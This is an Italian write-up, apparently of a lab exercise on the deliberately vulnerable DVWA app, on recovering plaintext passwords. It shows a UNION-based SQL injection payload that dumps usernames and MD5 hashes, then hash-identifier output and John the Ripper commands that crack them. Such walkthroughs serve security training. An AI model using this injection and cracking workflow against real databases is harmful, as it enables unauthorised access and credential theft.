

Password Cracking - Recupero delle Password in Chiaro

Recupero delle Password dal Database:

Ho eseguito un attacco SQL INJECTION sul database DVWA e ho recuperato gli utenti e le password tramite la query:

' UNION SELECT user,password FROM dvwa.users --

```
ID: ' UNION SELECT user,password FROM dvwa.users --  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99  
  
ID: ' UNION SELECT user,password FROM dvwa.users --  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03  
  
ID: ' UNION SELECT user,password FROM dvwa.users --  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b  
  
ID: ' UNION SELECT user,password FROM dvwa.users --  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7  
  
ID: ' UNION SELECT user,password FROM dvwa.users --  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Ho creato un file hashdvwa.txt e ho inserito gli users e le password:

```
(root@kali)-[/home/kali]  
# cat hashdvwa.txt  
admin:5f4dcc3b5aa765d61d8327deb882cf99  
gordonb:e99a18c428cb38d5f260853678922e03  
1337:8d3533d75ae2c3966d7e0d4fcc69216b  
pablo:0d107d09f5bbe40cade3de5c71e9e9b7  
smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

Identificazione delle Password Hashate:

Uso il tool hash-identifier per verificare l'hash:

```
(root@kali)-[/home/kali]
# hash-identifier 5f4dcc3b5aa765d61d8327deb882cf99

#####
#                                     #
#                                     #
#                                     #
#                                     #
#                                     #
#                                     #
#                                     #
#                                     #
#                                     #
#                                     #
#####

Possible Hashs:
[+] MD5
5f4dcc3b5aa765d61d8327deb882cf99
```

Esecuzione del Cracking delle Password:

A questo punto uso il tool john the ripper per crackare le password mediante il comando:

```
john --incremental --format=RAW-MD5 hashdvwa.txt
```

Eseguo il comando: `john --show --format=Raw-MD5 hashdvwa.txt` per mostrare le password crackate

```
# john --show --format=Raw-MD5 hashdvwa.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password
```
